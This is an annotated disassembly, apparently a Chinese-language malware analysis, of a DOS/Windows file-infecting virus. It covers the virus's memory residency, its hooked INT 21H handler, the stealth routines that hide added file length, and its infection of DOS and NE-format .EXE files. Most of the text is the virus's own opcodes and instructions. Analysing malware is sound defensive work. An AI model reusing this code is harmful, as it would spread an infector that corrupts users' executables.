F6C8:0464 F9STC F6C8:0465 CA0200RETF0002 F6C8:0468 CBRETF;========================================================================== ;BOOT 引入时执行 INT 21H 时先执行本子程序 ;功能为在第一次执行可执行程序时申请内存块驻留 F6C8:0469 80FC4BCMP AH,4B ;非执行程序退出 F6C8:046C 7401JZ046F F6C8:046E C3RET F6C8:046F 60PUSHA F6C8:0470 1EPUSHDS F6C8:0471 06PUSHES F6C8:0472 0AC0ORAL,AL F6C8:0474 7428JZ049E ;执行文件转 049EF6C8:0476 8BF2MOV SI,DX ;装入设备驱动程序 F6C8:0478 ACLODSB F6C8:0479 0AC0ORAL,AL F6C8:047B 75FBJNZ 0478 F6C8:047D 817CF74D33CMP WORD PTR [SI-09],334D F6C8:0482 7517JNZ 049B F6C8:0484 817CF45145CMP WORD PTR [SI-0C],4551 F6C8:0489 7510JNZ 049B F6C8:048B E89CFDCALL022A ;如果装入 QEMM386.SYS F6C8:048E B80013MOV AX,1300 ;再次设置新 INT 13H F6C8:0491 8BD3MOV DX,BX F6C8:0493 CD2FINT 2F(Multiplex) F6C8:0495 2ECS: F6C8:0496 C606FF00EBMOV BYTE PTR [00FF],EB F6C8:049B E99B00JMP 0539F6C8:049E 2ECS: ;执行程序时 F6C8:049F C606FF00EBMOV BYTE PTR [00FF],EB F6C8:04A4 B452MOV AH,52 ;取表之表地址 F6C8:04A6 E85108CALL0CFA F6C8:04A9 26ES: F6C8:04AA 8B47FEMOV AX,[BX-02] ;取第一块 MCB 地址 F6C8:04AD E8C7FBCALL0077 ;取最后一块 MCB 地址 F6C8:04B0 8EDBMOV DS,BX F6C8:04B2 8BC3MOV AX,BX F6C8:04B4 034503ADD AX,[DI+03] F6C8:04B7 80FCA0CMP AH,A0 F6C8:04BA 760DJBE 04C9 ;不在 UMB 中转 04C9 F6C8:04BC 33F6XOR SI,SI ;在 UMB 中则驻留内存 F6C8:04BE E8CDFBCALL008E F6C8:04C1 B9B004MOV CX,04B0 F6C8:04C4 F3REPZ F6C8:04C5 2ECS: F6C8:04C6 A4MOVSB F6C8:04C7 734BJNB 0514 F6C8:04C9 B80058MOV AX,5800 ;取内存分配策略 F6C8:04CC E82B08CALL0CFA F6C8:04CF 50PUSHAX F6C8:04D0 B80158MOV AX,5801 ;设高到低寻找策略 F6C8:04D3 BB8000MOV BX,0080 F6C8:04D6 50PUSHAX F6C8:04D7 E82008CALL0CFA F6C8:04DA B80258MOV AX,5802 ;得到 UMB 链状态 F6C8:04DD E81A08CALL0CFA F6C8:04E0 32E4XOR AH,AH F6C8:04E2 50PUSHAX F6C8:04E3 B80358MOV AX,5803 ;设新的 UMB 状态 F6C8:04E6 B301MOV BL,01 ;为将 UMB 加入 DOS 内存链 F6C8:04E8 50PUSHAX F6C8:04E9 E80E08CALL0CFA F6C8:04EC B448MOV AH,48 ;分配内存 F6C8:04EE BB3801MOV BX,0138 F6C8:04F1 E80608CALL0CFA F6C8:04F4 95XCHGAX,BP F6C8:04F5 58POP AX F6C8:04F6 5BPOP BX F6C8:04F7 E80008CALL0CFA ;恢复分配内存策略 F6C8:04FA 58POP AX ;及恢复 UMB 状态 F6C8:04FB 5BPOP BX F6C8:04FC E8FB07CALL0CFA F6C8:04FF 33FFXOR DI,DI F6C8:0501 8EC5MOV ES,BP F6C8:0503 4DDEC BP F6C8:0504 8EDDMOV DS,BP ;将内存块改为 DOS 使用 F6C8:0506 C745010800MOV WORD PTR [DI+01],0008 F6C8:050B 33F6XOR SI,SI F6C8:050D 0EPUSHCS F6C8:050E 1FPOP DS F6C8:050F B97713MOV CX,1377 F6C8:0512 F3REPZ F6C8:0513 A4MOVSB ;驻留内存 F6C8:0514 0EPUSHCS F6C8:0515 1FPOP DS F6C8:0516 8B3E4502MOV DI,[0245] ;将 INT 21 地址 F6C8:051A 8B365D11MOV SI,[115D] ;改到新的地址 F6C8:051E C51E5711LDS BX,[1157] F6C8:0522 8C47FEMOV [BX-02],ES F6C8:0525 8C4404MOV [SI+04],ES F6C8:0528 8ED9MOV DS,CX F6C8:052A 8C4502MOV [DI+02],ES F6C8:052D 26ES: F6C8:052E C60604013CMOV BYTE PTR [0104],3C F6C8:0533 26ES: F6C8:0534 C60658053DMOV BYTE PTR [0558],3D F6C8:0539 07POP ES F6C8:053A 1FPOP DS F6C8:053B 61POPA F6C8:053C C3RET ;========================================================================= ; 新 INT 21H 代码部分 ;========================================================================= F6C8:053D 2ECS: F6C8:053E 8F065711POP WORD PTR [1157] ;保存返回地址 F6C8:0542 2ECS: ;于 1157 (IP) 和 1159 (CS) F6C8:0543 8F065911POP WORD PTR [1159] F6C8:0547 9CPUSHF F6C8:0548 55PUSHBP F6C8:0549 8BECMOV BP,SP F6C8:054B 817E045344CMP WORD PTR [BP+04],4453 F6C8:0550 5DPOP BP F6C8:0551 7504JNZ 0557 ;???? F6C8:0553 9DPOPF F6C8:0554 44INC SP F6C8:0555 44INC SP F6C8:0556 C3RET F6C8:0557 9DPOPF F6C8:0558 3D0EFFCMP AX,FF0E ====> ;BOOT 引入时 F6C8:055B 80FC11CMP AH,11 ;本句代码为 CALL 0469 F6C8:055E 7235JB0595 F6C8:0560 80FC12CMP AH,12 ;DOS 功能 11,12 (DIR 时使用) F6C8:0563 7730JA0595 ;则更改文件长度 F6C8:0565 E82308CALL0D8B ;调用原 INT 21 功能 F6C8:0568 0AC0ORAL,AL ;成功转 057B F6C8:056A 740FJZ057B F6C8:056C 50PUSHAX F6C8:056D B81812MOV AX,1218 ;INT 2F 之 1218 功能 F6C8:0570 E84D08CALL0DC0 ;取 DOS 调用者寄存器 F6C8:0573 58POP AX F6C8:0574 8904MOV [SI],AX ;修改返回值 F6C8:0576 2ECS: ;返回调用处 F6C8:0577 FF2E5711JMP FAR DWORD PTR [1157]F6C8:057B E86208CALL0DE0 ; F6C8:057E 74ECJZ056C F6C8:0580 50PUSHAX F6C8:0581 B42FMOV AH,2F F6C8:0583 E87407CALL0CFA F6C8:0586 26ES: F6C8:0587 803FFFCMP BYTE PTR [BX],FF F6C8:058A 7503JNZ 058F F6C8:058C 83C307ADD BX,+07 F6C8:058F 43INC BX F6C8:0590 BE0200MOV SI,0002 F6C8:0593 EB17JMP 05AC ;========================================================================== F6C8:0595 80FC4ECMP AH,4E F6C8:0598 7239JB05D3 F6C8:059A 80FC4FCMP AH,4F F6C8:059D 7734JA05D3 F6C8:059F E8E907CALL0D8B F6C8:05A2 50PUSHAX F6C8:05A3 722BJB05D0 F6C8:05A5 B42FMOV AH,2F F6C8:05A7 E85007CALL0CFA F6C8:05AA 33F6XOR SI,SI F6C8:05AC E82808CALL0DD7 F6C8:05AF 741FJZ05D0 F6C8:05B1 06PUSHES F6C8:05B2 1FPOP DS F6C8:05B3 807F19C8CMP BYTE PTR [BX+19],C8 F6C8:05B7 7217JB05D0 F6C8:05B9 806F19C8SUB BYTE PTR [BX+19],C8 F6C8:05BD C4401ALES AX,[BX+SI+1A] F6C8:05C0 8CC2MOV DX,ES F6C8:05C2 2DC70ESUB AX,0EC7 F6C8:05C5 83DA00SBB DX,+00 F6C8:05C8 7206JB05D0 F6C8:05CA 89401AMOV [BX+SI+1A],AX F6C8:05CD 89501CMOV [BX+SI+1C],DX F6C8:05D0 58POP AX F6C8:05D1 EB99JMP 056C ;========================================================================= F6C8:05D3 3D0242CMP AX,4202 F6C8:05D6 7526JNZ 05FE F6C8:05D8 E8FA06CALL0CD5 F6C8:05DB 7621JBE 05FE F6C8:05DD E8F707CALL0DD7 F6C8:05E0 741CJZ05FE F6C8:05E2 816D11C70ESUB WORD PTR [DI+11],0EC7 F6C8:05E7 835D1300SBB WORD PTR [DI+13],+00 F6C8:05EB 57PUSHDI F6C8:05EC 1EPUSHDS F6C8:05ED E89B07CALL0D8B F6C8:05F0 1FPOP DS F6C8:05F1 5FPOP DI F6C8:05F2 814511C70EADD WORD PTR [DI+11],0EC7 F6C8:05F7 83551300ADC WORD PTR [DI+13],+00 F6C8:05FB E96EFFJMP 056C ;========================================================================== F6C8:05FE 80FC57CMP AH,57 F6C8:0601 7520JNZ 0623 F6C8:0603 E8CF06CALL0CD5 F6C8:0606 761BJBE 0623 F6C8:0608 E8CC07CALL0DD7 F6C8:060B 7416JZ0623 F6C8:060D 57PUSHDI F6C8:060E 1EPUSHDS F6C8:060F 0AC0ORAL,AL F6C8:0611 7504JNZ 0617 F6C8:0613 806D10C8SUB BYTE PTR [DI+10],C8 F6C8:0617 E87107CALL0D8B F6C8:061A 1FPOP DS F6C8:061B 5FPOP DI F6C8:061C 804510C8ADD BYTE PTR [DI+10],C8 F6C8:0620 E949FFJMP 056C ;=========================================================================== F6C8:0623 80FC3FCMP AH,3F F6C8:0626 7403JZ062B F6C8:0628 E94901JMP 0774 F6C8:062B E8A907CALL0DD7 ;新 INT 21 之 3F 功能 F6C8:062E 74F8JZ0628 ;执行压缩文件跳过 F6C8:0630 1EPUSHDS F6C8:0631 E8A106CALL0CD5 ;取文件句柄表地址 F6C8:0634 1FPOP DS F6C8:0635 76F1JBE 0628 F6C8:0637 2ECS: F6C8:0638 8C1E6B0CMOV [0C6B],DS F6C8:063C 0EPUSHCS F6C8:063D 1FPOP DS F6C8:063E 890E650CMOV [0C65],CX F6C8:0642 8916680CMOV [0C68],DX F6C8:0646 83266F0700AND WORD PTR [076F],0000 F6C8:064B 06PUSHES F6C8:064C 1FPOP DS F6C8:064D E85A06CALL0CAA ;测试当前文件指针 F6C8:0650 2D4000SUB AX,0040 F6C8:0653 83DA00SBB DX,+00 F6C8:0656 7320JNB 0678 ;非文件头 40H 字节转 0678 F6C8:0658 034511ADD AX,[DI+11] F6C8:065B 135513ADC DX,[DI+13] F6C8:065E 874515XCHGAX,[DI+15] F6C8:0661 875517XCHGDX,[DI+17] F6C8:0664 8BCAMOV CX,DX F6C8:0666 92XCHGAX,DX F6C8:0667 E8F205CALL0C5C F6C8:066A 7303JNB 066F F6C8:066C E9FD00JMP 076C F6C8:066F 9CPUSHF F6C8:0670 03D0ADD DX,AX F6C8:0672 E83F06CALL0CB4 F6C8:0675 9DPOPF F6C8:0676 74F4JZ066C F6C8:0678 06PUSHES F6C8:0679 E82E06CALL0CAA F6C8:067C 50PUSHAX F6C8:067D 52PUSHDX F6C8:067E E83F06CALL0CC0 F6C8:0681 E86A05CALL0BEE F6C8:0684 59POP CX F6C8:0685 5APOP DX F6C8:0686 9CPUSHF F6C8:0687 E82A06CALL0CB4 F6C8:068A 9DPOPF F6C8:068B C406030FLES AX,[0F03] F6C8:068F 8CC1MOV CX,ES F6C8:0691 1FPOP DS F6C8:0692 7303JNB 0697 F6C8:0694 E9BE00JMP 0755 F6C8:0697 874511XCHGAX,[DI+11] F6C8:069A 50PUSHAX F6C8:069B 874D13XCHGCX,[DI+13] F6C8:069E 51PUSHCX F6C8:069F E8BA05CALL0C5C F6C8:06A2 8F4513POP WORD PTR [DI+13] F6C8:06A5 8F4511POP WORD PTR [DI+11] F6C8:06A8 7703JA06AD F6C8:06AA E9BF00JMP 076C F6C8:06AD E8FA05CALL0CAA F6C8:06B0 0EPUSHCS F6C8:06B1 1FPOP DS F6C8:06B2 2B06030FSUB AX,[0F03] F6C8:06B6 1B16050FSBB DX,[0F05] F6C8:06BA 753FJNZ 06FB F6C8:06BC 3D4800CMP AX,0048 F6C8:06BF 733AJNB 06FB F6C8:06C1 05070FADD AX,0F07 F6C8:06C4 96XCHGAX,SI F6C8:06C5 33C0XOR AX,AX F6C8:06C7 8B3E680CMOV DI,[0C68] F6C8:06CB 8E066B0CMOV ES,[0C6B] F6C8:06CF 8B0E650CMOV CX,[0C65] F6C8:06D3 E312JCXZ06E7 F6C8:06D5 81FE4F0FCMP SI,0F4F F6C8:06D9 730CJNB 06E7 F6C8:06DB A4MOVSB F6C8:06DC FF066F07INC WORD PTR [076F] F6C8:06E0 FF06680CINC WORD PTR [0C68] F6C8:06E4 40INC AX F6C8:06E5 E2EELOOP06D5 F6C8:06E7 890E650CMOV [0C65],CX F6C8:06EB E8E705CALL0CD5 F6C8:06EE 014515ADD [DI+15],AX F6C8:06F1 83551700ADC WORD PTR [DI+17],+00 F6C8:06F5 0BC9ORCX,CX F6C8:06F7 7502JNZ 06FB F6C8:06F9 EB71JMP 076C F6C8:06FB 0EPUSHCS F6C8:06FC 1FPOP DS F6C8:06FD A12B0FMOV AX,[0F2B] F6C8:0700 33D2XOR DX,DX F6C8:0702 050100ADD AX,0001 F6C8:0705 13D2ADC DX,DX F6C8:0707 BE0800MOV SI,0008 F6C8:070A F7E6MUL SI F6C8:070C 0306310FADD AX,[0F31] F6C8:0710 83D200ADC DX,+00 F6C8:0713 0306030FADD AX,[0F03] F6C8:0717 1316050FADC DX,[0F05] F6C8:071B E8B705CALL0CD5 F6C8:071E 3B5517CMP DX,[DI+17] F6C8:0721 7232JB0755 F6C8:0723 7705JA072A F6C8:0725 3B4515CMP AX,[DI+15] F6C8:0728 762BJBE 0755 F6C8:072A 2D0800SUB AX,0008 F6C8:072D 83DA00SBB DX,+00 F6C8:0730 874511XCHGAX,[DI+11] F6C8:0733 50PUSHAX F6C8:0734 875513XCHGDX,[DI+13] F6C8:0737 52PUSHDX F6C8:0738 836D1508SUB WORD PTR [DI+15],+08 F6C8:073C 835D1700SBB WORD PTR [DI+17],+00 F6C8:0740 E81905CALL0C5C F6C8:0743 9CPUSHF F6C8:0744 83451508ADD WORD PTR [DI+15],+08 F6C8:0748 83551500ADC WORD PTR [DI+15],+00 F6C8:074C 9DPOPF F6C8:074D 8F4513POP WORD PTR [DI+13] F6C8:0750 8F4511POP WORD PTR [DI+11] F6C8:0753 7617JBE 076C F6C8:0755 816D11C70ESUB WORD PTR [DI+11],0EC7 F6C8:075A 835D1300SBB WORD PTR [DI+13],+00 F6C8:075E E8FB04CALL0C5C F6C8:0761 9CPUSHF F6C8:0762 814511C70EADD WORD PTR [DI+11],0EC7 F6C8:0767 83551300ADC WORD PTR [DI+13],+00 F6C8:076B 9DPOPF F6C8:076C 7203JB0771 F6C8:076E B875D5MOV AX,D575 F6C8:0771 E9F8FDJMP 056C ;=========================================================================== F6C8:0774 60PUSHA ;病毒驻留检验 F6C8:0775 1EPUSHDS ;以 AX = 187F F6C8:0776 06PUSHES ; BX = 4453 调用 F6C8:0777 3D7F18CMP AX,187F ;返回 AX = 434E F6C8:077A 7514JNZ 0790 F6C8:077C 81FB5344CMP BX,4453 F6C8:0780 750EJNZ 0790 F6C8:0782 B81812MOV AX,1218 ;取返回寄存器地址 F6C8:0785 E83806CALL0DC0 ;修改返回 AX 值 F6C8:0788 8144024E43ADD WORD PTR [SI+02],434E F6C8:078D E9C201JMP 0952 ;=========================================================================== F6C8:0790 80FC40CMP AH,40 F6C8:0793 7403JZ0798 F6C8:0795 E9F100JMP 0889 F6C8:0798 E83A05CALL0CD5 F6C8:079B 76F8JBE 0795 F6C8:079D E81604CALL0BB6 F6C8:07A0 FF7505PUSHWORD PTR [DI+05] F6C8:07A3 C54515LDS AX,[DI+15] F6C8:07A6 50PUSHAX F6C8:07A7 1EPUSHDS F6C8:07A8 E81505CALL0CC0 F6C8:07AB 7303JNB 07B0 F6C8:07AD E9C800JMP 0878 F6C8:07B0 E83B04CALL0BEE F6C8:07B3 9CPUSHF F6C8:07B4 8306030F08ADD WORD PTR [0F03],+08 F6C8:07B9 8316050F00ADC WORD PTR [0F05],+00 F6C8:07BE 9DPOPF F6C8:07BF 7303JNB 07C4 F6C8:07C1 E99900JMP 085D F6C8:07C4 8B441CMOV AX,[SI+1C] F6C8:07C7 33D2XOR DX,DX F6C8:07C9 B90800MOV CX,0008 F6C8:07CC F7E1MUL CX F6C8:07CE 034422ADD AX,[SI+22] F6C8:07D1 83D200ADC DX,+00 F6C8:07D4 50PUSHAX F6C8:07D5 52PUSHDX F6C8:07D6 0306030FADD AX,[0F03] F6C8:07DA 1316050FADC DX,[0F05] F6C8:07DE 050002ADD AX,0200 F6C8:07E1 83D200ADC DX,+00 F6C8:07E4 8BCAMOV CX,DX F6C8:07E6 92XCHGAX,DX F6C8:07E7 E8CA04CALL0CB4 F6C8:07EA 5APOP DX F6C8:07EB 58POP AX F6C8:07EC 2D4000SUB AX,0040 F6C8:07EF 83DA00SBB DX,+00 F6C8:07F2 B90002MOV CX,0200 F6C8:07F5 F7F1DIV CX F6C8:07F7 8BFAMOV DI,DX F6C8:07F9 95XCHGAX,BP F6C8:07FA 83ED01SUB BP,+01 F6C8:07FD 722EJB082D F6C8:07FF B9FFFFMOV CX,FFFF F6C8:0802 BAF8FBMOV DX,FBF8 F6C8:0805 E8AF04CALL0CB7 F6C8:0808 B43FMOV AH,3F F6C8:080A B90002MOV CX,0200 F6C8:080D BA4F0FMOV DX,0F4F F6C8:0810 E88C04CALL0C9F F6C8:0813 7263JB0878 F6C8:0815 B9FFFFMOV CX,FFFF F6C8:0818 BA08FEMOV DX,FE08 F6C8:081B E89904CALL0CB7 F6C8:081E B440MOV AH,40 F6C8:0820 B90002MOV CX,0200 F6C8:0823 BA4F0FMOV DX,0F4F F6C8:0826 E87604CALL0C9F F6C8:0829 73CFJNB 07FA F6C8:082B EB4BJMP 0878 F6C8:082D B9FFFFMOV CX,FFFF F6C8:0830 8D950802LEA DX,[DI+0208] F6C8:0834 F7DANEG DX F6C8:0836 E87E04CALL0CB7 F6C8:0839 B43FMOV AH,3F F6C8:083B 8BCFMOV CX,DI F6C8:083D BA4F0FMOV DX,0F4F F6C8:0840 E85C04CALL0C9F F6C8:0843 7233JB0878 F6C8:0845 B9FFFFMOV CX,FFFF F6C8:0848 8D5540LEA DX,[DI+40] F6C8:084B F7DANEG DX F6C8:084D E86704CALL0CB7 F6C8:0850 B440MOV AH,40 F6C8:0852 8D4D48LEA CX,[DI+48] F6C8:0855 BA070FMOV DX,0F07 F6C8:0858 E84404CALL0C9F F6C8:085B 721BJB0878 F6C8:085D E83004CALL0C90 F6C8:0860 7216JB0878 F6C8:0862 B9FFFFMOV CX,FFFF F6C8:0865 BA39F1MOV DX,F139 F6C8:0868 E84F04CALL0CBA F6C8:086B B440MOV AH,40 F6C8:086D 41INC CX F6C8:086E E88904CALL0CFA F6C8:0871 E86104CALL0CD5 F6C8:0874 806D10C8SUB BYTE PTR [DI+10],C8 F6C8:0878 59POP CX F6C8:0879 5APOP DX F6C8:087A E83704CALL0CB4 F6C8:087D E85504CALL0CD5 F6C8:0880 8F4505POP WORD PTR [DI+05] F6C8:0883 E85303CALL0BD9 F6C8:0886 E9C900JMP 0952 ;========================================================================= F6C8:0889 80FC3ECMP AH,3E F6C8:088C 750CJNZ 089A F6C8:088E E82503CALL0BB6 F6C8:0891 E8E100CALL0975 F6C8:0894 E84203CALL0BD9 F6C8:0897 E9B800JMP 0952 ;========================================================================= F6C8:089A 80FC43CMP AH,43 F6C8:089D 7419JZ08B8 F6C8:089F 80FC56CMP AH,56 F6C8:08A2 7414JZ08B8 F6C8:08A4 3D004BCMP AX,4B00 F6C8:08A7 7205JB08AE F6C8:08A9 3D054BCMP AX,4B05 F6C8:08AC 7603JBE 08B1 F6C8:08AE E9A100JMP 0952 F6C8:08B1 7505JNZ 08B8 F6C8:08B3 8BF2MOV SI,DX F6C8:08B5 C55404LDS DX,[SI+04] ;========================================================================== F6C8:08B8 50PUSHAX F6C8:08B9 E8FA02CALL0BB6 F6C8:08BC B8003DMOV AX,3D00 F6C8:08BF E83804CALL0CFA F6C8:08C2 720FJB08D3 F6C8:08C4 93XCHGAX,BX F6C8:08C5 53PUSHBX F6C8:08C6 52PUSHDX F6C8:08C7 1EPUSHDS F6C8:08C8 E8AA00CALL0975 F6C8:08CB 1FPOP DS F6C8:08CC 5APOP DX F6C8:08CD 5BPOP BX F6C8:08CE B43EMOV AH,3E F6C8:08D0 E82704CALL0CFA F6C8:08D3 E80303CALL0BD9 F6C8:08D6 58POP AX F6C8:08D7 3D014BCMP AX,4B01 F6C8:08DA 751FJNZ 08FB F6C8:08DC 33EDXOR BP,BP F6C8:08DE B8003DMOV AX,3D00 F6C8:08E1 E81604CALL0CFA F6C8:08E4 7211JB08F7 F6C8:08E6 93XCHGAX,BX F6C8:08E7 E8EB03CALL0CD5 F6C8:08EA 7606JBE 08F2 F6C8:08EC E8D103CALL0CC0 F6C8:08EF 7201JB08F2 F6C8:08F1 45INC BP F6C8:08F2 B43EMOV AH,3E F6C8:08F4 E80304CALL0CFA F6C8:08F7 0BEDORBP,BP F6C8:08F9 7502JNZ 08FD F6C8:08FB EB55JMP 0952 F6C8:08FD 07POP ES F6C8:08FE 1FPOP DS F6C8:08FF 61POPA F6C8:0900 53PUSHBX F6C8:0901 06PUSHES F6C8:0902 E88604CALL0D8B F6C8:0905 07POP ES F6C8:0906 5FPOP DI F6C8:0907 50PUSHAX F6C8:0908 7304JNB 090E F6C8:090A 58POP AX F6C8:090B E95EFCJMP 056C F6C8:090E B451MOV AH,51 F6C8:0910 CD21INT 21(DOS) F6C8:0912 8BEBMOV BP,BX F6C8:0914 BEC70EMOV SI,0EC7 F6C8:0917 0EPUSHCS F6C8:0918 1FPOP DS F6C8:0919 ADLODSW F6C8:091A E88F02CALL0BAC F6C8:091D 7409JZ0928 F6C8:091F 48DEC AX F6C8:0920 26ES: F6C8:0921 C47D12LES DI,[DI+12] F6C8:0924 ABSTOSW F6C8:0925 A4MOVSB F6C8:0926 EBE2JMP 090AF6C8:0928 83C70EADD DI,+0E F6C8:092B 1EPUSHDS F6C8:092C 26ES: F6C8:092D C51DLDS BX,[DI] F6C8:092F 8B0FMOV CX,[BX] F6C8:0931 1FPOP DS F6C8:0932 8B440EMOV AX,[SI+0E] F6C8:0935 48DEC AX F6C8:0936 48DEC AX F6C8:0937 ABSTOSW F6C8:0938 93XCHGAX,BX F6C8:0939 8D4610LEA AX,[BP+10] F6C8:093C 50PUSHAX F6C8:093D 03440CADD AX,[SI+0C] F6C8:0940 ABSTOSW F6C8:0941 1EPUSHDS F6C8:0942 8ED8MOV DS,AX F6C8:0944 890FMOV [BX],CX F6C8:0946 1FPOP DS F6C8:0947 8B4412MOV AX,[SI+12] F6C8:094A ABSTOSW F6C8:094B 58POP AX F6C8:094C 034414ADD AX,[SI+14] F6C8:094F ABSTOSW F6C8:0950 EBB8JMP 090A ;========================================================================== F6C8:0952 07POP ES F6C8:0953 1FPOP DS F6C8:0954 61POPA ;INT 21 CALL SS:[XXXX] F6C8:0955 2ECS: ;的返回地址 (1157) F6C8:0956 FF365711PUSHWORD PTR [1157] F6C8:095A 55PUSHBP F6C8:095B 2ECS: F6C8:095C 8B2E5311MOV BP,[1153] ;调用地址 F6C8:0960 8B6E00MOV BP,[BP+00] F6C8:0963 2ECS: F6C8:0964 892E5711MOV [1157],BP F6C8:0968 5DPOP BP F6C8:0969 2ECS: F6C8:096A FF365911PUSHWORD PTR [1159] ;调用 INT 21 的段地址 F6C8:096E 2ECS: F6C8:096F FF365711PUSHWORD PTR [1157] ;调用地址 F6C8:0973 CBRETF ;到原 INT 21 功能 F6C8:0974 C3RET ;========================================================================== F6C8:0975 E85D03CALL0CD5 F6C8:0978 72FAJB0974 F6C8:097A 75F8JNZ 0974 F6C8:097C 833D01CMP WORD PTR [DI],+01 F6C8:097F 75F3JNZ 0974 F6C8:0981 F645053ETESTBYTE PTR [DI+05],3E F6C8:0985 7514JNZ 099B F6C8:0987 BAF503MOV DX,03F5 F6C8:098A B004MOV AL,04 F6C8:098C EEOUT DX,AL F6C8:098D B504MOV CH,04 F6C8:098F E2FELOOP098F F6C8:0991 EEOUT DX,AL F6C8:0992 B504MOV CH,04 F6C8:0994 E2FELOOP0994 F6C8:0996 ECINAL,DX F6C8:0997 A840TESTAL,40 F6C8:0999 75D9JNZ 0974 F6C8:099B B445MOV AH,45 F6C8:099D E85A03CALL0CFA F6C8:09A0 72D2JB0974 F6C8:09A2 53PUSHBX F6C8:09A3 93XCHGAX,BX F6C8:09A4 B43EMOV AH,3E F6C8:09A6 E85103CALL0CFA F6C8:09A9 5BPOP BX F6C8:09AA 72C8JB0974 F6C8:09AC B80045MOV AX,4500 F6C8:09AF 864504XCHGAL,[DI+04] F6C8:09B2 A81CTESTAL,1C F6C8:09B4 75BEJNZ 0974 F6C8:09B6 50PUSHAX F6C8:09B7 99CWD F6C8:09B8 E83F03CALL0CFA F6C8:09BB 93XCHGAX,BX F6C8:09BC C745020200MOV WORD PTR [DI+02],0002 F6C8:09C1 B84300MOV AX,0043 F6C8:09C4 324528XOR AL,[DI+28] F6C8:09C7 BD4F4DMOV BP,4D4F F6C8:09CA 336D29XOR BP,[DI+29] F6C8:09CD 0BE8ORBP,AX F6C8:09CF E8BB02CALL0C8D F6C8:09D2 7223JB09F7 F6C8:09D4 8BF2MOV SI,DX F6C8:09D6 BF870EMOV DI,0E87 F6C8:09D9 0EPUSHCS F6C8:09DA 07POP ES F6C8:09DB F3REPZ F6C8:09DC A4MOVSB F6C8:09DD E8CD02CALL0CAD F6C8:09E0 91XCHGAX,CX F6C8:09E1 8B05MOV AX,[DI] F6C8:09E3 E8C601CALL0BAC F6C8:09E6 7420JZ0A08 F6C8:09E8 0BD5ORDX,BP F6C8:09EA 750BJNZ 09F7 F6C8:09EC B0E9MOV AL,E9 F6C8:09EE AASTOSB F6C8:09EF 91XCHGAX,CX F6C8:09F0 2D0300SUB AX,0003 F6C8:09F3 ABSTOSW F6C8:09F4 E98D01JMP 0B84 F6C8:09F7 E8DB02CALL0CD5 F6C8:09FA 58POP AX F6C8:09FB 884504MOV [DI+04],AL F6C8:09FE 804D0640ORBYTE PTR [DI+06],40 F6C8:0A02 B43EMOV AH,3E F6C8:0A04 E8F302CALL0CFA F6C8:0A07 C3RET ;======================================================================= ; 感染 .EXE 文件代码部分 ;======================================================================= F6C8:0A08 52PUSHDX F6C8:0A09 51PUSHCX F6C8:0A0A E82102CALL0C2E ;检测是否 WINDOWS 文件 F6C8:0A0D 58POP AX ;是,转 0A14 F6C8:0A0E 5APOP DX F6C8:0A0F 7303JNB 0A14 F6C8:0A11 E9EB00JMP 0AFF ;DOS .EXE 转0AFF ;======================================================================= ;传染 WINDOWS .EXE 文件及新格式 .EXE 文件 F6C8:0A14 F6441580TESTBYTE PTR [SI+15],80 F6C8:0A18 75DDJNZ 09F7 ;.DLL 不传染 F6C8:0A1A 8B4C3AMOV CX,[SI+3A] ;取移位值 F6C8:0A1D D1EASHR DX,1 F6C8:0A1F D1D8RCR AX,1 F6C8:0A21 72D4JB09F7 ;文件长不是移位的 F6C8:0A23 E2F8LOOP0A1D ;整数倍不传染 F6C8:0A25 0BD2ORDX,DX F6C8:0A27 75CEJNZ 09F7 ;文件 > 65535*移位单位 不传染 F6C8:0A29 A3750EMOV [0E75],AX ;文件大小 (新的 CS:IP 入口段) F6C8:0A2C B108MOV CL,08 F6C8:0A2E 294D3CSUB [DI+3C],CX ;新 NE 文件头位置前移 8 字节 F6C8:0A31 19553ESBB [DI+3E],DX F6C8:0A34 ACLODSB F6C8:0A35 0AC0ORAL,AL ;如果这 8 字节不为 0 F6C8:0A37 E1FBLOOPE 0A34 ;则不传染 F6C8:0A39 75BCJNZ 09F7 F6C8:0A3B 8B4422MOV AX,[SI+22] ;段地址表偏移量 F6C8:0A3E B105MOV CL,05 F6C8:0A40 56PUSHSI ;以下修改 NE 文件头下列部分 F6C8:0A41 BD0400MOV BP,0004 ; 0004登记表偏移 F6C8:0A44 3EDS: ; 0024资源表偏移 F6C8:0A45 3B02CMP AX,[BP+SI] ; 0026驻留表偏移 F6C8:0A47 7304JNB 0A4D ; 0028模块引用表偏移 F6C8:0A49 3EDS: ; 002A引用名表偏移 F6C8:0A4A 830208ADD WORD PTR [BP+SI],+08 F6C8:0A4D BD2200MOV BP,0022 F6C8:0A50 46INC SI F6C8:0A51 46INC SI F6C8:0A52 E2F0LOOP0A44 F6C8:0A54 5EPOP SI F6C8:0A55 BD6302MOV BP,0263 F6C8:0A58 8B441CMOV AX,[SI+1C] ;段计数器 + 1 F6C8:0A5B 50PUSHAX F6C8:0A5C 40INC AX F6C8:0A5D 89441CMOV [SI+1C],AX ;入口 CS:IP 改为 F6C8:0A60 876C14XCHGBP,[SI+14] ;新段地址:0263 F6C8:0A63 874416XCHGAX,[SI+16] F6C8:0A66 892E850EMOV [0E85],BP ;保存原 CS:IP 于 0E83 F6C8:0A6A A3830EMOV [0E83],AX F6C8:0A6D 58POP AX F6C8:0A6E BD0800MOV BP,0008 ;段地址表长度 F6C8:0A71 F7E5MUL BP F6C8:0A73 034422ADD AX,[SI+22] ;加上段地址表偏移 F6C8:0A76 13D1ADC DX,CX ;以下将整个 NE 文件头 F6C8:0A78 2D4000SUB AX,0040 ;以及段地址表前移 8 字节 F6C8:0A7B 1BD1SBB DX,CX ;以便插入一个新的段地址表项 F6C8:0A7D BD0002MOV BP,0200 F6C8:0A80 F7F5DIV BP F6C8:0A82 95XCHGAX,BP ;先移动余数 F6C8:0A83 B43FMOV AH,3F F6C8:0A85 8BCAMOV CX,DX F6C8:0A87 BA4F0FMOV DX,0F4F F6C8:0A8A E81202CALL0C9F F6C8:0A8D 7246JB0AD5 F6C8:0A8F 51PUSHCX F6C8:0A90 C4553CLES DX,[DI+3C] F6C8:0A93 8CC1MOV CX,ES F6C8:0A95 E81C02CALL0CB4 F6C8:0A98 59POP CX F6C8:0A99 B440MOV AH,40 F6C8:0A9B 83C140ADD CX,+40 F6C8:0A9E BA0F0FMOV DX,0F0F F6C8:0AA1 E8FB01CALL0C9F F6C8:0AA4 722FJB0AD5 F6C8:0AA6 83ED01SUB BP,+01 ;再一次移动 200H 字节 F6C8:0AA9 722DJB0AD8 F6C8:0AAB 33C9XOR CX,CX F6C8:0AAD BA0800MOV DX,0008 F6C8:0AB0 E80402CALL0CB7 